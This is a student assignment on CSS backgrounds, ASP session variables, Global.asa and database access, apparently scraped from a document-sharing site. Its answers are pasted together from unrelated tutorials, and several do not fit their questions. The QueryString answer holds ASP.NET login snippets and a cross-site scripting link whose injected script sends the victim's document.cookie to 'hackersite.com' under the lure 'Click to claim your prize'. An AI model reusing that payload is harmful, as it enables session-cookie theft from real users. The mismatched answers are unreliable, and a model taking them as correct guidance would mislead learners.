Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                

How To Set The Background Color With CSS

Download as doc, pdf, or txt
Download as doc, pdf, or txt
You are on page 1of 8

Rollno-RM2801A20 RegNo:-10803816

Q:-1. Suppose you have been given a task of working with cascading style
sheet backgrounds. What you need to do is to set the background color of
different elements and to repeat a background image only horizontally.
Write the code snippet for the same.

Ans:- How to set the background color with CSS


The following HTML and CSS code example shows you how to set the
background color of an element.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"


"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<title>this is the title of the web page</title>

<style type="text/css">
body {background-color: yellow;}
h1 {background-color: #00ff00;}
h2 {background-color: red;}
p {background-color: rgb(250,0,255);}
</style>

</head>
<body>
<h1>
This is a level 1 header
</h1>
<h2>
This is a level 2 header
</h2>
<p>
This is a paragraph
</p>
</body>
</html>

How to set an image as the background


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<title>this is the title of the web page</title>

<style type="text/css">

body
{
background-image:
url('csshtmltutorial-image.jpg')
}

</style>

</head>
<body>
</body>
</html>

How to repeat a background image


The HTML and CSS code below shows you how to repeat a background image.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"


"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>
<title>this is the title of the web page</title>

<style type="text/css">

body
{
background-image:
url('csshtmltutorial.jpg');
background-repeat: repeat;
}
</style>

</head>
<body>
</body>
</html>

Ques:-2When you are working with an application on your computer, you open it,
do some changes and then you close it. On the internet there is one problem: the
web server does not know who you are and what you do, because the HTTP
address doesn't maintain state that is why the changes made by you are not
consistent at all. So you suggest a solution in such a way that computer start
knowing who you are, and it knows when you open the application and you close
the application. Write a program in ASP to implement your proposed solution
practically.

Ans:-

<%
Session.Timeout=5
%>

Use the Abandon method to end a session immediately:

<%
Session.Abandon
%>

Store and Retrieve Session Variables

The most important thing about the Session object is that you can store
variables in it.

The example below will set the Session variable username to "Donald Duck"
and the Session variable age to "50":

<%
Session("username")="Donald Duck"
Session("age")=50
%>
When the value is stored in a session variable it can be reached from ANY page
in the ASP application:

Welcome <%Response.Write(Session("username"))%>

The line above returns: "Welcome Donald Duck".

You can also store user preferences in the Session object, and then access that
preference to choose what page to return to the user.

The example below specifies a text-only version of the page if the user has a
low screen resolution:

<%If Session("screenres")="low" Then%>


  This is the text version of the page
<%Else%>
  This is the multimedia version of the page
<%End If%>

Remove Session Variables

The Contents collection contains all session variables.

It is possible to remove a session variable with the Remove method.

The example below removes the session variable "sale" if the value of the
session variable "age" is lower than 18:

<%
If Session.Contents("age")<18 then
  Session.Contents.Remove("sale")
End If
%>

To remove all variables in a session, use the RemoveAll method:

<%
Session.Contents.RemoveAll()
%>
Q:-3. Is it possible to create objects with session or application scope in
Global.asa by using<object> tag? If yes, then give an example of creating object
of session scop in support of your answer.

The ASP Application and Session objects provide convenient containers for
caching data in memory. You can assign data to both Application and Session
objects, and this data will remain in memory between HTTP calls. Session data
is stored per user, while Application data is shared between all users.

At what point do you load data into the Application or Session? Often, the data
is loaded when an Application or Session starts. To load data during
Application or Session startup, add appropriate code to Application_OnStart()
or Session_OnStart(), respectively. These functions should be located in
Global.asa; if they are not, you can add these functions. You can also load the
data when it's first needed. To do this, add some code (or write a reusable script
function) to your ASP page that checks for the existence of the data and loads
the data if it's not there. This is an example of the classic performance technique
known as lazy evaluation-don't calculate something until you know you need it.
An example:

Copy
<%
Function GetEmploymentStatusList
Dim d
d = Application("EmploymentStatusList")
If d = "" Then
' FetchEmploymentStatusList function (not shown)
' fetches data from DB, returns an Array
d = FetchEmploymentStatusList()
Application("EmploymentStatusList") = d
End If
GetEmploymentStatusList = d
End Function
%>
Q4. Write a code snippet in ASP to send query information when a user clicks on a
link to another page. Retrieve that information on the destination page using the
concept of QueryString.

Ans:- void Page_Init (object sender, EventArgs e) {


ViewStateUserKey = Session.SessionID;
:
}

protected override OnInit(EventArgs e) {


base.OnInit(e);
ViewStateUserKey = Session.SessionID;
}

void OnLogin(object sender, EventArgs e) {


// Check credentials
if (ValidateUser(user, pswd)) {
// Set the cookie's expiration date
HttpCookie cookie;
cookie = FormsAuthentication.GetAuthCookie(user, isPersistent);
if (isPersistent)
cookie.Expires = DateTime.Now.AddDays(10);

// Add the cookie to the response


Response.Cookies.Add(cookie);

// Redirect
string targetUrl;
targetUrl = FormsAuthentication.GetRedirectUrl(user, isPersistent);
Response.Redirect(targetUrl);
}
}
<a href="http://www.vulnerableserver.com/brokenpage.aspx?Name=
<script>document.location.replace(
'http://www.hackersite.com/HackerPage.aspx?
Cookie=' + document.cookie);
</script>">Click to claim your prize</a>

private string EncodeText(string text) {


StringWriter writer = new StringWriter();
LosFormatter formatter = new LosFormatter();
formatter.Serialize(writer, text);
return writer.ToString();
}

Q5. Discuss the common way to access the database from an ASP page.

Ans5. ASP Web Pro – OPEN DATABASE CONNECTION


The most basic purpose of ASP is to allow a website to connect to a database
and show “Live data”. It is called live data because ideally the database
administrator will be updating the database routinely which will therefore
automatically update the website.

Bullschmidt – ASP Web Database Sample - A sample Web database can give
you ideas about tying everything together and can even be used as a starting
point for a Web project. Login and add, edit, or view fictional customers and
invoices!

Database Simplicity With Class


This database class handles Select, Insert, Update, and Delete. It also takes steps
to ensure your SQL syntax is valid, and that memory leaks / errors are
prevented. Tutorial comes with demo, downloadable code, and an in depth
explanation.

Ques6:- In addition to setting a style for a HTML element, CSS allows you to
specify your own selectors for a single, unique element as well as for a group of
elements. Write the code snippet for both types of selectors taking the text-align
and color attributes into account to give it a practical implementation.

Ans:- External Style Sheet


An external style sheet may be linked to an HTML document through HTML's
LINK element:

<LINK REL=StyleSheet HREF="style.css" TYPE="text/css" MEDIA=screen>


<LINK REL=StyleSheet HREF="color-8b.css" TYPE="text/css" TITLE="8-bit
Color Style" MEDIA="screen, print">
<LINK REL="Alternate StyleSheet" HREF="color-24b.css" TYPE="text/css"
TITLE="24-bit Color Style" MEDIA="screen, print">
<LINK REL=StyleSheet HREF="aural.css" TYPE="text/css" MEDIA=aural>

The <LINK> tag is placed in the document HEAD. The optional TYPE attribute
is used to specify a media type--text/css for a Cascading Style Sheet--allowing
browsers to ignore style sheet types that they do not support.

The <LINK> tag also takes an optional MEDIA attribute, which specifies the
medium or media to which the style sheet should be applied. Possible values are

 screen, for presentation on non-paged computer screens;


 print, for output to a printer;
 projection, for projected presentations;
 aural, for speech synthesizers;
 braille, for presentation on braille tactile feedback devices;
 tty, for character cell displays (using a fixed-pitch font);
 tv, for televisions;
 all, for all output devices.

A single style may also be given through multiple style sheets:

<LINK REL=StyleSheet HREF="basics.css" TITLE="Contemporary">


<LINK REL=StyleSheet HREF="tables.css" TITLE="Contemporary">
<LINK REL=StyleSheet HREF="forms.css" TITLE="Contemporary">

In this example, three style sheets are combined into one "Contemporary" style
that is applied as a preferred style sheet. To combine multiple style sheets into a
single style, one must use the same TITLE with each style sheet.

An external style sheet is ideal when the style is applied to numerous pages.
With an external style sheet, an author could change the look of an entire site by
simply changing one file. As well, most browsers will cache an external style
sheet, thus avoiding a delay in page presentation once the style sheet is cached.

You might also like